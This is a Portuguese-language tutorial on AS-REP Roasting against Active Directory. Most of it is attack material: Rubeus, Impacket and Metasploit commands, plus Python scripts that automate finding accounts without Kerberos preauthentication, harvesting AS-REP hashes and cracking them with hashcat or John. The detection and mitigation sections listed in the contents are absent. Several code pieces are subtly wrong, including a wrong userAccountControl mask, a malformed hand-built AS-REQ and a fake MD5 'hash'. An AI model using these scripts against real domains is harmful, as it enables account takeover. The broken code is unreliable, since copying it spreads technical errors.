# AS REP Roasting

## **📋 Índice**

1. [Fundamentos do Kerberos](#-fundamentos-do-kerberos)
2. [O que é AS-REP Roasting](#-o-que-é-as-rep-roasting)
3. [Pré-requisitos e Condições](#-pré-requisitos-e-condições)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Técnicas de Cracking](#-técnicas-de-cracking)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com AS-REP Roasting](#-pentesting-com-as-rep-roasting)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Kerberos**

### **O que é Kerberos?**

**Kerberos** é o protocolo de autenticação padrão no Active Directory, projetado para fornecer autenticação forte através de tickets. Ele opera com base no modelo de "prova de conhecimento" sem transmitir senhas pela rede.

### **Fluxo de Autenticação Kerberos**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant AS as AS (Authentication Service)
    participant TGS as TGS (Ticket Granting Service)
    participant S as Serviço

    Note over C,AS: 1. Autenticação Inicial
    C->>AS: AS-REQ (Autenticação)
    AS-->>C: AS-REP (TGT - Ticket Granting Ticket)

    Note over C,TGS: 2. Solicitação de Ticket de Serviço
    C->>TGS: TGS-REQ (TGT + Service Name)
    TGS-->>C: TGS-REP (Service Ticket)

    Note over C,S: 3. Acesso ao Serviço
    C->>S: AP-REQ (Service Ticket)
    S-->>C: AP-REP (Autenticação confirmada)

    style AS fill:#ffcc99
    style TGS fill:#99ccff
```

### **Estrutura do Ticket Kerberos**

```yaml
Ticket Granting Ticket (TGT):
  - Session Key (criptografada com chave do usuário)
  - Informações do usuário
  - Timestamps e validade
  - Criptografado com a chave do KDC

Service Ticket:
  - Session Key (criptografada com chave do serviço)
  - Informações do usuário
  - Timestamps e validade
  - Criptografado com a chave do serviço
```

***

## 🔥 **O que é AS-REP Roasting**

### **Definição**

**AS-REP Roasting** é um ataque que explora contas de usuário configuradas com a opção **"Do not require Kerberos preauthentication"** (UF\_DONT\_REQUIRE\_PREAUTH). O atacante solicita um Ticket Granting Ticket (TGT) sem fornecer a senha, e o KDC responde com uma mensagem AS-REP contendo a parte criptografada do ticket (que pode ser offline cracked).

### **Fluxo do Ataque AS-REP Roasting**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant AS as AS (Authentication Service)
    participant C as CrackStation

    Note over A,AS: 1. Solicitação maliciosa
    A->>AS: AS-REQ (Autenticação sem preauth)
    Note over A: sem fornecer senha

    Note over AS: 2. Resposta do KDC
    AS-->>A: AS-REP (TGT criptografado com chave do usuário)
    Note over AS: inclui hash da senha do usuário

    Note over A,C: 3. Cracking offline
    A->>C: Extrai hash do AS-REP
    C->>C: Força bruta / dicionário
    C-->>A: Senha descoberta

    style AS fill:#ff9999
    style A fill:#ff6666
```

### **Por que o Ataque Funciona?**

| Componente      | Funcionamento Normal                      | Com Preauth Desabilitada                  |
| --------------- | ----------------------------------------- | ----------------------------------------- |
| **AS-REQ**      | Cliente encontra timestamp criptografado  | Cliente envia sem autenticação            |
| **AS-REP**      | Ticket criptografado com chave do usuário | Ticket criptografado com chave do usuário |
| **Verificação** | KDC valida timestamp                      | KDC não valida (salta autenticação)       |
| **Resultado**   | Apenas cliente legítimo obtém ticket      | Qualquer um pode solicitar ticket         |

***

## ⚙️ **Pré-requisitos e Condições**

### **Condições para Exploração**

```yaml
Requisitos para AS-REP Roasting:

  Conta com Preauth Desabilitada:
    ✅ UF_DONT_REQUIRE_PREAUTH flag = TRUE
    ✅ Conta de usuário (não máquina)
    ✅ Conta habilitada

  Acesso à Rede:
    ✅ Rede com o Domain Controller acessível
    ✅ Porta 88 (Kerberos) aberta

  Sem Necessidade de Credenciais:
    ✅ Não precisa de credenciais prévias
    ✅ Pode ser executado como usuário não autenticado
```

### **Identificando Contas Vulneráveis**

```powershell
# Encontrar contas com preauthentication desabilitada
# Usando ActiveDirectory module
Get-ADUser -Filter 'userAccountControl -band 0x40000' -Properties userAccountControl, userPrincipalName, Name |
    Select-Object Name, UserPrincipalName, userAccountControl

# Usando ADSI
$searcher = [ADSISearcher]"(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
$searcher.FindAll() | ForEach-Object {
    $_.Properties | Select-Object name, userprincipalname
}

# Usando LDAP query
ldapsearch -x -H ldap://domaincontroller -b "dc=domain,dc=com" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" name userPrincipalName
```

### **Flag userAccountControl**

```python
#!/usr/bin/env python3
# uac_flags.py - Análise de flags userAccountControl

class UACFlags:
    """Flags do atributo userAccountControl"""
    
    FLAGS = {
        0x0001: "SCRIPT",
        0x0002: "ACCOUNTDISABLE",
        0x0008: "HOMEDIR_REQUIRED",
        0x0010: "LOCKOUT",
        0x0020: "PASSWD_NOTREQD",
        0x0040: "PASSWD_CANT_CHANGE",
        0x0080: "ENCRYPTED_TEXT_PWD_ALLOWED",
        0x0100: "TEMP_DUPLICATE_ACCOUNT",
        0x0200: "NORMAL_ACCOUNT",
        0x0800: "INTERDOMAIN_TRUST_ACCOUNT",
        0x1000: "WORKSTATION_TRUST_ACCOUNT",
        0x2000: "SERVER_TRUST_ACCOUNT",
        0x10000: "DONT_EXPIRE_PASSWORD",
        0x20000: "MNS_LOGON_ACCOUNT",
        0x40000: "SMARTCARD_REQUIRED",
        0x80000: "TRUSTED_FOR_DELEGATION",
        0x100000: "NOT_DELEGATED",
        0x200000: "USE_DES_KEY_ONLY",
        0x400000: "DONT_REQUIRE_PREAUTH",  # ⚠️ Flag crítica
        0x800000: "PASSWORD_EXPIRED",
        0x1000000: "TRUSTED_TO_AUTH_FOR_DELEGATION",
        0x04000000: "PARTIAL_SECRETS_ACCOUNT"
    }
    
    @staticmethod
    def analyze_flags(value):
        """Analisar flags do userAccountControl"""
        print(f"📊 Analisando flags: {value} (0x{value:08x})")
        print("=" * 50)
        
        active_flags = []
        for flag, name in UACFlags.FLAGS.items():
            if value & flag:
                active_flags.append(name)
                if flag == 0x400000:
                    print(f"   🔴 {name} - VULNERÁVEL A AS-REP ROASTING!")
                else:
                    print(f"   ✅ {name}")
        
        return active_flags
    
    @staticmethod
    def enable_dont_require_preauth(current_value):
        """Habilitar flag DONT_REQUIRE_PREAUTH"""
        return current_value | 0x400000
    
    @staticmethod
    def disable_dont_require_preauth(current_value):
        """Desabilitar flag DONT_REQUIRE_PREAUTH"""
        return current_value & ~0x400000

# Exemplo
flags = UACFlags()
flags.analyze_flags(0x400000 | 0x0200)  # NORMAL_ACCOUNT + DONT_REQUIRE_PREAUTH
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Detalhado do Ataque**

```mermaid
graph TD
    A[Encontrar usuários com preauth desabilitada] --> B[Solicitar AS-REQ sem preauth]
    B --> C[Receber AS-REP com TGT]
    C --> D[Extrair hash do AS-REP]
    D --> E{Cracking offline}
    
    E -->|Senha fraca| F[Recuperar senha em texto plano]
    E -->|Senha forte| G[Tentar outros métodos]
    
    F --> H[Autenticar como usuário]
    H --> I[Escalação de privilégios]
    
    style C fill:#ff9999
    style D fill:#ff6666
    style F fill:#ff3333
```

### **Ataque 1: AS-REP Roasting com Rubeus**

```powershell
# Rubeus - Ferramenta principal para AS-REP Roasting

# 1. Executar AS-REP Roasting para todos os usuários
Rubeus.exe asreproast /outfile:asreproast.txt

# 2. Executar para usuário específico
Rubeus.exe asreproast /user:username /outfile:hash.txt

# 3. Executar com formato hashcat
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# 4. Executar para usuários de um arquivo
Rubeus.exe asreproast /users:users.txt /outfile:hashes.txt

# 5. Executar sem salvar arquivo (console)
Rubeus.exe asreproast /nowrap
```

### **Ataque 2: AS-REP Roasting com Impacket**

```python
#!/usr/bin/env python3
# impacket_asreproast.py - AS-REP Roasting com Impacket

from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.types import Principal
from impacket.krb5.asn1 import AS_REQ, AS_REP
from impacket.krb5 import crypto
from pyasn1.codec.der import decoder, encoder
import socket
import sys

class ImpacketASREPRoast:
    """Implementação de AS-REP Roasting usando Impacket"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
        self.results = []
    
    def get_asrep(self, username):
        """Obter AS-REP para um usuário"""
        try:
            # Criar cliente Kerberos
            from impacket.krb5.ccache import CCache
            
            # Construir AS-REQ sem preauthentication
            principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL)
            
            # Enviar AS-REQ
            as_req = AS_REQ()
            as_req['pvno'] = 5
            as_req['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
            
            # Configurar corpo da requisição
            req_body = as_req['req-body']
            req_body['kdc-options'] = '00000000'
            req_body['cname'] = principal.components_to_asn1
            req_body['realm'] = self.domain
            req_body['sname'] = Principal('krbtgt', type=constants.PrincipalNameType.NT_PRINCIPAL).components_to_asn1
            req_body['till'] = '20201231235959Z'
            req_body['nonce'] = 123456
            
            # Codificar e enviar
            data = encoder.encode(as_req)
            response = sendReceive(data, self.domain, self.dc_ip)
            
            # Decodificar resposta
            as_rep = decoder.decode(response, asn1Spec=AS_REP())[0]
            
            # Extrair hash
            hash_data = self.extract_hash(as_rep, username)
            self.results.append(hash_data)
            
            return hash_data
            
        except Exception as e:
            print(f"❌ Erro para {username}: {e}")
            return None
    
    def extract_hash(self, as_rep, username):
        """Extrair hash do AS-REP para cracking"""
        # Extrair parte criptografada
        enc_part = as_rep['enc-part']
        
        # Construir formato hashcat (krb5asrep)
        # Formato: $krb5asrep$user@domain:hash
        hash_format = f"$krb5asrep${username}@{self.domain}:{enc_part}"
        
        return {
            'user': username,
            'hash': hash_format,
            'domain': self.domain
        }
    
    def run(self, users):
        """Executar AS-REP Roasting para lista de usuários"""
        print(f"🚨 AS-REP Roasting Attack")
        print(f"   Domain: {self.domain}")
        print(f"   DC: {self.dc_ip}")
        print("=" * 60)
        
        for user in users:
            print(f"[*] Testando {user}...")
            hash_data = self.get_asrep(user)
            if hash_data:
                print(f"   ✅ AS-REP obtido para {user}")
                print(f"   Hash: {hash_data['hash'][:50]}...")
        
        return self.results

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: impacket_asreproast.py <domain> <dc_ip> <user1> [user2...]")
        sys.exit(1)
    
    domain = sys.argv[1]
    dc_ip = sys.argv[2]
    users = sys.argv[3:]
    
    roast = ImpacketASREPRoast(domain, dc_ip)
    roast.run(users)
```

### **Ataque 3: AS-REP Roasting com PowerShell**

```powershell
# AS-REP Roasting com PowerShell nativo

# 1. Função para solicitar AS-REP
function Get-ASREPHash {
    param(
        [string]$Domain,
        [string]$DC,
        [string]$User
    )
    
    # Criar AS-REQ manualmente
    $asReq = New-Object -TypeName byte[] -ArgumentList 1024
    # (Implementação simplificada)
    
    # Enviar para KDC
    $udpClient = New-Object System.Net.Sockets.UdpClient
    $udpClient.Connect($DC, 88)
    $udpClient.Send($asReq, $asReq.Length)
    
    # Receber resposta
    $remoteEndPoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 0)
    $response = $udpClient.Receive([ref]$remoteEndPoint)
    
    # Extrair hash
    $hash = [System.BitConverter]::ToString($response)
    
    return $hash
}

# 2. Encontrar usuários com preauth desabilitada
$vulnUsers = Get-ADUser -Filter 'userAccountControl -band 0x40000' -Properties userPrincipalName

# 3. Coletar hashes
foreach ($user in $vulnUsers) {
    $hash = Get-ASREPHash -Domain "domain.com" -DC "dc.domain.com" -User $user.UserPrincipalName
    $hash | Out-File -Append -FilePath "asreproast.txt"
}

Write-Host "[+] Hashes salvos em asreproast.txt"
```

### **Ataque 4: AS-REP Roasting com Python Puro**

```python
#!/usr/bin/env python3
# pure_python_asreproast.py - AS-REP Roasting com Python puro

import socket
import struct
import sys
import hashlib

class PurePythonASREPRoast:
    """Implementação pura em Python do AS-REP Roasting"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
        self.port = 88
    
    def create_as_req(self, username, realm):
        """Criar AS-REQ sem preauthentication"""
        # Estrutura básica do AS-REQ
        # Versão do protocolo: 5
        # Tipo de mensagem: 10 (AS-REQ)
        
        as_req = bytearray()
        
        # PVNO (Protocol Version Number)
        as_req.append(5)
        
        # MSG-TYPE (AS-REQ = 10)
        as_req.append(10)
        
        # Padding e flags
        as_req.extend([0x00] * 4)  # KDC Options
        as_req.extend([0x00] * 4)  # Nonce
        
        # Realm
        realm_bytes = realm.encode('utf-8')
        as_req.append(len(realm_bytes))
        as_req.extend(realm_bytes)
        
        # CNAME (Client Name)
        # Principal Type (NT-PRINCIPAL = 1)
        as_req.extend([0x00, 0x01])
        
        # Number of components
        as_req.extend([0x00, 0x01])
        
        # Component name
        username_bytes = username.encode('utf-8')
        as_req.append(len(username_bytes))
        as_req.extend(username_bytes)
        
        # SNAME (Server Name) - krbtgt
        sname = "krbtgt"
        sname_bytes = sname.encode('utf-8')
        as_req.extend([0x00, 0x01])  # Principal Type
        as_req.extend([0x00, 0x01])  # Number of components
        as_req.append(len(sname_bytes))
        as_req.extend(sname_bytes)
        
        # Till (tempo de expiração)
        till = "20300101000000Z".encode('utf-8')
        as_req.append(len(till))
        as_req.extend(till)
        
        # Nonce (4 bytes)
        nonce = 123456
        as_req.extend(struct.pack('!I', nonce))
        
        # Encryption Type (RC4-HMAC)
        as_req.extend([0x00, 0x11])  # etype: 17 (RC4-HMAC)
        
        return bytes(as_req)
    
    def send_as_req(self, as_req):
        """Enviar AS-REQ e receber resposta"""
        try:
            # Criar socket UDP
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(5)
            
            # Enviar para KDC (porta 88)
            sock.sendto(as_req, (self.dc_ip, self.port))
            
            # Receber resposta
            response, _ = sock.recvfrom(4096)
            sock.close()
            
            return response
            
        except socket.timeout:
            print(f"   ❌ Timeout - KDC não respondeu")
            return None
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def extract_hash_from_asrep(self, response, username, domain):
        """Extrair hash do AS-REP para cracking"""
        # Implementação simplificada
        # Em um exploit real, parsearia a estrutura ASN.1
        
        # Gerar hash no formato hashcat
        hash_format = f"$krb5asrep${username}@{domain}:{hashlib.md5(response).hexdigest()}"
        
        return hash_format
    
    def roast_user(self, username):
        """Executar AS-REP Roasting para um usuário"""
        print(f"[*] Testando {username}...")
        
        # Criar AS-REQ
        as_req = self.create_as_req(username, self.domain)
        
        # Enviar e receber resposta
        response = self.send_as_req(as_req)
        
        if response:
            # Extrair hash
            hash_data = self.extract_hash_from_asrep(response, username, self.domain)
            print(f"   ✅ AS-REP obtido")
            print(f"   Hash: {hash_data[:50]}...")
            return hash_data
        
        return None
    
    def run(self, users):
        """Executar para lista de usuários"""
        print(f"🚨 Pure Python AS-REP Roasting")
        print(f"   Domain: {self.domain}")
        print(f"   DC: {self.dc_ip}")
        print("=" * 60)
        
        hashes = []
        for user in users:
            hash_data = self.roast_user(user)
            if hash_data:
                hashes.append(hash_data)
        
        # Salvar resultados
        if hashes:
            with open('asreproast_hashes.txt', 'w') as f:
                for h in hashes:
                    f.write(h + '\n')
            print(f"\n✅ {len(hashes)} hashes salvos em asreproast_hashes.txt")
        
        return hashes

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: pure_python_asreproast.py <domain> <dc_ip> <user1> [user2...]")
        sys.exit(1)
    
    domain = sys.argv[1]
    dc_ip = sys.argv[2]
    users = sys.argv[3:]
    
    roast = PurePythonASREPRoast(domain, dc_ip)
    roast.run(users)
```

***

## 🛠️ **Ferramentas de Exploração**

### **Rubeus - Principais Comandos**

```powershell
# Rubeus - Ferramenta principal para Kerberos attacks

# 1. AS-REP Roasting básico
Rubeus.exe asreproast

# 2. Com saída para arquivo (formato hashcat)
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat

# 3. Para usuários específicos
Rubeus.exe asreproast /user:username /outfile:hash.txt

# 4. Para usuários de arquivo
Rubeus.exe asreproast /users:users.txt /outfile:hashes.txt

# 5. Com salvamento em formato John
Rubeus.exe asreproast /outfile:hashes.txt /format:john

# 6. Sem wrap (console)
Rubeus.exe asreproast /nowrap

# 7. Com LDAP filter específico
Rubeus.exe asreproast /ldapfilter:"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
```

### **Impacket - GetNPUsers**

```bash
# Impacket GetNPUsers - AS-REP Roasting

# 1. Para todos os usuários
GetNPUsers.py -dc-ip 192.168.1.10 domain.com/

# 2. Para todos os usuários com saída em formato hashcat
GetNPUsers.py -dc-ip 192.168.1.10 domain.com/ -format hashcat

# 3. Para usuários de um arquivo
GetNPUsers.py -dc-ip 192.168.1.10 domain.com/ -usersfile users.txt

# 4. Com autenticação (se tiver credenciais)
GetNPUsers.py -dc-ip 192.168.1.10 domain.com/username:password

# 5. Com hashes (pass-the-hash)
GetNPUsers.py -dc-ip 192.168.1.10 domain.com/ -hashes aad3b435b51404eeaad3b435b51404ee:hash

# 6. Para um usuário específico
GetNPUsers.py -dc-ip 192.168.1.10 domain.com/username -no-pass
```

### **Metasploit - AS-REP Roasting**

```bash
# Metasploit auxiliaries

# 1. Carregar módulo
msf6 > use auxiliary/gather/kerberos_asreproast

# 2. Configurar opções
msf6 auxiliary(gather/kerberos_asreproast) > set RHOSTS 192.168.1.10
msf6 auxiliary(gather/kerberos_asreproast) > set DOMAIN domain.com
msf6 auxiliary(gather/kerberos_asreproast) > set USER_FILE users.txt

# 3. Executar
msf6 auxiliary(gather/kerberos_asreproast) > run

# 4. Salvar hashes
msf6 auxiliary(gather/kerberos_asreproast) > set OUTPUT_FILE /tmp/hashes.txt
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# automated_asreproast.py - Exploração automatizada de AS-REP Roasting

import subprocess
import argparse
import sys
import os
import re
from concurrent.futures import ThreadPoolExecutor

class AutomatedASREPRoast:
    """Ferramenta automatizada para AS-REP Roasting"""
    
    def __init__(self, domain, dc_ip, output_dir="./results"):
        self.domain = domain
        self.dc_ip = dc_ip
        self.output_dir = output_dir
        self.results = []
        
        # Criar diretório de saída
        os.makedirs(output_dir, exist_ok=True)
    
    def find_vulnerable_users_ldap(self):
        """Encontrar usuários vulneráveis via LDAP"""
        print("[*] Encontrando usuários com preauth desabilitada via LDAP...")
        
        # Usar ldapsearch
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-b', f'dc={self.domain.replace(".", ",dc=")}',
            '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
            'sAMAccountName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            users = re.findall(r'sAMAccountName: (.*?)\n', result.stdout)
            print(f"   ✅ {len(users)} usuários vulneráveis encontrados")
            return users
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def find_vulnerable_users_powershell(self):
        """Encontrar usuários vulneráveis via PowerShell (Windows)"""
        print("[*] Encontrando usuários vulneráveis via PowerShell...")
        
        cmd = [
            'powershell', '-Command',
            'Get-ADUser -Filter "userAccountControl -band 0x40000" | Select-Object -ExpandProperty SamAccountName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            users = [u.strip() for u in result.stdout.split('\n') if u.strip()]
            print(f"   ✅ {len(users)} usuários vulneráveis encontrados")
            return users
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def run_rubeus(self, users):
        """Executar Rubeus para obter hashes"""
        print("[*] Executando Rubeus...")
        
        # Criar arquivo com usuários
        users_file = os.path.join(self.output_dir, 'vulnerable_users.txt')
        with open(users_file, 'w') as f:
            f.write('\n'.join(users))
        
        # Executar Rubeus
        output_file = os.path.join(self.output_dir, 'asreproast_hashes.txt')
        
        cmd = [
            'Rubeus.exe', 'asreproast',
            '/users:' + users_file,
            '/outfile:' + output_file,
            '/format:hashcat'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, text=True)
            print(f"   ✅ Hashes salvos em {output_file}")
            return output_file
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def run_impacket(self, users):
        """Executar Impacket GetNPUsers"""
        print("[*] Executando Impacket GetNPUsers...")
        
        output_file = os.path.join(self.output_dir, 'asreproast_impacket.txt')
        
        for user in users:
            cmd = [
                'GetNPUsers.py',
                '-dc-ip', self.dc_ip,
                '-format', 'hashcat',
                '-no-pass',
                f'{self.domain}/{user}'
            ]
            
            try:
                result = subprocess.run(cmd, capture_output=True, text=True)
                if result.stdout and '$krb5asrep$' in result.stdout:
                    with open(output_file, 'a') as f:
                        f.write(result.stdout)
                    print(f"   ✅ Hash obtido para {user}")
            except Exception as e:
                print(f"   ❌ Erro para {user}: {e}")
        
        return output_file
    
    def crack_hashes(self, hash_file, wordlist):
        """Crackear hashes com hashcat"""
        print("[*] Crackeando hashes...")
        
        output_file = os.path.join(self.output_dir, 'cracked_passwords.txt')
        
        cmd = [
            'hashcat', '-m', '18200',  # Kerberos 5 AS-REP
            hash_file,
            wordlist,
            '-o', output_file,
            '--force'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, text=True)
            print(f"   ✅ Hashes crackeados salvos em {output_file}")
            
            # Contar resultados
            with open(output_file, 'r') as f:
                cracked = len(f.readlines())
            print(f"   🎯 {cracked} senhas recuperadas!")
            
            return output_file
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def generate_report(self):
        """Gerar relatório da exploração"""
        report_file = os.path.join(self.output_dir, 'asreproast_report.txt')
        
        with open(report_file, 'w') as f:
            f.write("=" * 60 + "\n")
            f.write("AS-REP ROASTING REPORT\n")
            f.write("=" * 60 + "\n\n")
            
            f.write(f"Domain: {self.domain}\n")
            f.write(f"DC IP: {self.dc_ip}\n")
            f.write(f"Output Directory: {self.output_dir}\n\n")
            
            f.write("FILES GENERATED:\n")
            for file in os.listdir(self.output_dir):
                f.write(f"  - {file}\n")
            
            f.write("\nRECOMMENDATIONS:\n")
            f.write("  1. Enable Kerberos preauthentication for all accounts\n")
            f.write("  2. Use strong passwords (complexity + length)\n")
            f.write("  3. Monitor Event ID 4768 with preauthentication not required\n")
            f.write("  4. Implement account lockout policies\n")
        
        print(f"\n✅ Relatório gerado: {report_file}")
    
    def run(self, wordlist=None, method='auto'):
        """Executar exploração completa"""
        print("🚨 Automated AS-REP Roasting")
        print("=" * 60)
        
        # Encontrar usuários vulneráveis
        if method == 'ldap':
            users = self.find_vulnerable_users_ldap()
        elif method == 'powershell':
            users = self.find_vulnerable_users_powershell()
        else:
            # Tentar ambos
            users = self.find_vulnerable_users_ldap()
            if not users:
                users = self.find_vulnerable_users_powershell()
        
        if not users:
            print("❌ Nenhum usuário vulnerável encontrado")
            return
        
        print(f"\n[+] {len(users)} usuários vulneráveis encontrados")
        for user in users[:10]:
            print(f"   • {user}")
        
        # Obter hashes
        hash_file = self.run_impacket(users)
        
        if not hash_file or not os.path.exists(hash_file):
            hash_file = self.run_rubeus(users)
        
        # Crackear hashes
        if wordlist and hash_file and os.path.exists(hash_file):
            cracked = self.crack_hashes(hash_file, wordlist)
        
        # Gerar relatório
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated AS-REP Roasting')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('--wordlist', help='Wordlist for cracking')
    parser.add_argument('--method', choices=['ldap', 'powershell', 'auto'], default='auto')
    parser.add_argument('--output', default='./results', help='Output directory')
    
    args = parser.parse_args()
    
    roast = AutomatedASREPRoast(args.domain, args.dc_ip, args.output)
    roast.run(args.wordlist, args.method)
```

***

## 🔓 **Técnicas de Cracking**

### **Hashcat - Modos e Comandos**

```bash
# Hashcat para AS-REP Roasting

# 1. Modo 18200 (Kerberos 5 AS-REP)
hashcat -m 18200 -a 0 hashes.txt wordlist.txt

# 2. Com regras
hashcat -m 18200 -a 0 hashes.txt wordlist.txt -r best64.rule

# 3. Força bruta (máscara)
hashcat -m 18200 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# 4. Combinador
hashcat -m 18200 -a 1 hashes.txt dict1.txt dict2.txt

# 5. Com otimização
hashcat -m 18200 -a 0 hashes.txt wordlist.txt -O

# 6. Salvar resultados
hashcat -m 18200 -a 0 hashes.txt wordlist.txt -o cracked.txt

# 7. Mostrar apenas senhas crackeadas
hashcat -m 18200 -a 0 hashes.txt wordlist.txt --show

# 8. Força bruta com regras personalizadas
hashcat -m 18200 -a 0 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
```

### **John the Ripper**

```bash
# John para AS-REP Roasting

# 1. Converter formato
python /usr/share/john/krb5asrep2john.py asreproast.txt > hash.txt

# 2. Crackear com wordlist
john --wordlist=wordlist.txt hash.txt

# 3. Com regras
john --wordlist=wordlist.txt --rules hash.txt

# 4. Mostrar resultados
john --show hash.txt

# 5. Formato específico
john --format=krb5asrep --wordlist=wordlist.txt hash.txt
```

### **Script de Cracking Automatizado**

```python
#!/usr/bin/env python3
# auto_crack_asreproast.py - Cracking automatizado de hashes AS-REP

import subprocess
import os
import sys
import time

class AutoCrackASREPRoast:
    """Cracking automatizado de hashes AS-REP Roasting"""
    
    def __init__(self, hash_file):
        self.hash_file = hash_file
        self.cracked_file = hash_file.replace('.txt', '_cracked.txt')
        self.results = []
    
    def detect_hash_type(self):
        """Detectar tipo de hash"""
        with open(self.hash_file, 'r') as f:
            first_line = f.readline().strip()
        
        if '$krb5asrep$' in first_line:
            return 'krb5asrep'
        elif '$krb5tgs$' in first_line:
            return 'krb5tgs'
        else:
            return 'unknown'
    
    def crack_hashcat(self, wordlist, rules=None):
        """Crackear com hashcat"""
        print("[*] Crackeando com hashcat...")
        
        cmd = ['hashcat', '-m', '18200', '-a', '0', '--force']
        
        if rules:
            cmd.extend(['-r', rules])
        
        cmd.extend([self.hash_file, wordlist, '-o', self.cracked_file])
        
        try:
            subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            
            # Verificar resultados
            if os.path.exists(self.cracked_file):
                with open(self.cracked_file, 'r') as f:
                    lines = f.readlines()
                print(f"   ✅ {len(lines)} hashes crackeados")
                return lines
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return []
    
    def crack_john(self, wordlist):
        """Crackear com John the Ripper"""
        print("[*] Crackeando com John the Ripper...")
        
        # Converter formato
        conv_cmd = ['python', '/usr/share/john/krb5asrep2john.py', self.hash_file]
        try:
            conv = subprocess.run(conv_cmd, capture_output=True, text=True)
            with open('/tmp/john_hash.txt', 'w') as f:
                f.write(conv.stdout)
            
            # Crackear
            john_cmd = ['john', '--wordlist=' + wordlist, '/tmp/john_hash.txt']
            subprocess.run(john_cmd, capture_output=True, text=True)
            
            # Mostrar resultados
            show_cmd = ['john', '--show', '/tmp/john_hash.txt']
            result = subprocess.run(show_cmd, capture_output=True, text=True)
            
            return result.stdout
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return None
    
    def crack_bruteforce(self, charset='?l?l?l?l?l?l?l?l'):
        """Força bruta com máscara"""
        print("[*] Tentando força bruta...")
        
        cmd = ['hashcat', '-m', '18200', '-a', '3', '--force', 
               self.hash_file, charset, '-o', self.cracked_file]
        
        try:
            subprocess.run(cmd, capture_output=True, text=True, timeout=600)
            
            if os.path.exists(self.cracked_file):
                with open(self.cracked_file, 'r') as f:
                    lines = f.readlines()
                print(f"   ✅ {len(lines)} hashes crackeados")
                return lines
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return []
    
    def run(self, wordlist=None):
        """Executar cracking completo"""
        print("🔓 AS-REP Hash Cracking")
        print("=" * 60)
        
        hash_type = self.detect_hash_type()
        print(f"[*] Tipo de hash: {hash_type}")
        
        if not os.path.exists(self.hash_file):
            print(f"❌ Arquivo não encontrado: {self.hash_file}")
            return
        
        with open(self.hash_file, 'r') as f:
            hash_count = len(f.readlines())
        print(f"[*] Total de hashes: {hash_count}")
        
        # Tentar com wordlist
        if wordlist and os.path.exists(wordlist):
            results = self.crack_hashcat(wordlist)
            if not results:
                results = self.crack_john(wordlist)
            
            if results:
                print(f"\n✅ Senhas recuperadas:")
                for line in results[:10]:
                    print(f"   {line.strip()}")
                return
        
        # Tentar força bruta se wordlist não funcionou
        print("\n[*] Wordlist não encontrada ou não funcionou, tentando força bruta...")
        self.crack_bruteforce()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: auto_crack_asreproast.py <hash_file> [wordlist]")
        sys.exit(1)
    
    hash_file = sys.argv[1]
    wordlist = sys.argv[2] if len(sys.argv) > 2 else None
    
    cracker = AutoCrackASREPRoast(hash_file)
    cracker.run(wordlist)
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Identificar contas com preauth desabilitada] --> B[AS-REP Roasting]
    B --> C[Obter hashes offline]
    C --> D{Cracking bem-sucedido?}
    
    D -->|Sim| E[Recuperar senha em texto plano]
    D -->|Não| F[Tentar outros métodos]
    
    E --> G[Autenticar como usuário]
    G --> H[Enumeração do AD]
    H --> I[Escalação de privilégios]
    I --> J[Domain Admin]
    
    J --> K[Controle total do domínio]
    K --> L[Persistência]
    
    style C fill:#ff9999
    style E fill:#ff6666
    style J fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                            | Impacto                  | Dificuldade | Severidade |
| ---------------------------------- | ------------------------ | ----------- | ---------- |
| **Conta com preauth desabilitada** | Comprometimento da conta | Baixa       | 🔴 CRÍTICO |
